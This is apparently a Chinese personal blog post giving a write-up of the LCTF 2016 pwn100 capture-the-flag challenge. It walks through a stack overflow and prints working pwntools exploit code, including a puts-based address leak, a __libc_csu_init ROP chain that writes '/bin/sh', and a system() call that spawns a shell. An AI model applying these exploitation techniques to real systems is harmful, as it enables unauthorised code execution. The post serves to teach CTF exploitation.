Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

lctf 2016 pwn100 writeup

使用ida查看程序,在函数0x40063d中有read函数,读取用户输入的200个字节。接着调用puts函数输出。

1
2
sub_40063D((__int64)&v1, 200);
return puts("bye~");

存储用户输入的空间为0x40字节,所以用户输入会导致溢出。由于是64位程序,因此需要gadget来控制流。x64中,主要使用__libc_csu_init中的两段代码来进行参数传递和函数调用,这两段代码分别位于0x400740和0x40075a。

由于无libc,需要泄漏,通过pattern和rsp可知偏移为72:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def leak(addr):
payload = 'a' * 72 + p64(pop_rdi) + p64(addr) + p64(puts_plt) + p64(start_addr)
payload += 'a' * (200 - len(payload))
p.send(payload)
p.recvuntil('~\n')
prev_rv = ''
data = ''
while True:
rv = p.recv(numb = 1, timeout = 0.1)
if prev_rv == '\n' and rv == '':
data = data[:-1]
data += '\x00'
break
else:
data += rv
prev_rv = rv
data = data[:4]
return data

获取system函数地址后,只需要将/bin/sh写入再调用system函数即可,通过vmmap可知0x601000-0x602000可读/写:

1
2
3
4
5
6
7
8
9
10
11
payload = 'a' * 72 + p64(0x40075a) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(0x601000) + p64(0) + p64(0x400740) #0、1两个参数固定,0配合第二段代码的call,由于是call指令第三个参数用got,随后是read函数的三个参数,返回0x400740调用第二段代码
payload += 'a' * 56 + p64(start_addr) #栈指针移动了56字节,填充56字节
payload += 'a' * (200 - len(payload))
p.send(payload)
p.recvuntil('~\n')
p.send('/bin/sh\x00')

payload = 'a' * 72 + p64(pop_rdi) + p64(0x601000) + p64(system_addr) + p64(0xdeadbeef)
payload += 'a' * (200 - len(payload))
p.send(payload)
p.interactive()

参考文章和bin下载:https://www.anquanke.com/post/id/85129